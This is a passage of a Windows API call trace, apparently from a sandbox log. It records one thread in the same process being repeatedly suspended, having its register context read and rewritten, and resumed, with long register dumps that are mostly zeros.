[0129.536] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x166800d, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.537] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d198, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.537] ResumeThread (hThread=0x130) returned 0x1
[0129.537] CloseHandle (hObject=0x130) returned 1
[0129.537] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.578] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.621] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.621] SuspendThread (hThread=0x130) returned 0x0
[0129.621] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x166bffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.622] ResumeThread (hThread=0x130) returned 0x1
[0129.622] CloseHandle (hObject=0x130) returned 1
[0129.622] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.664] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.704] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.704] SuspendThread (hThread=0x130) returned 0x0
[0129.704] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1670005, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.705] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d198, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, 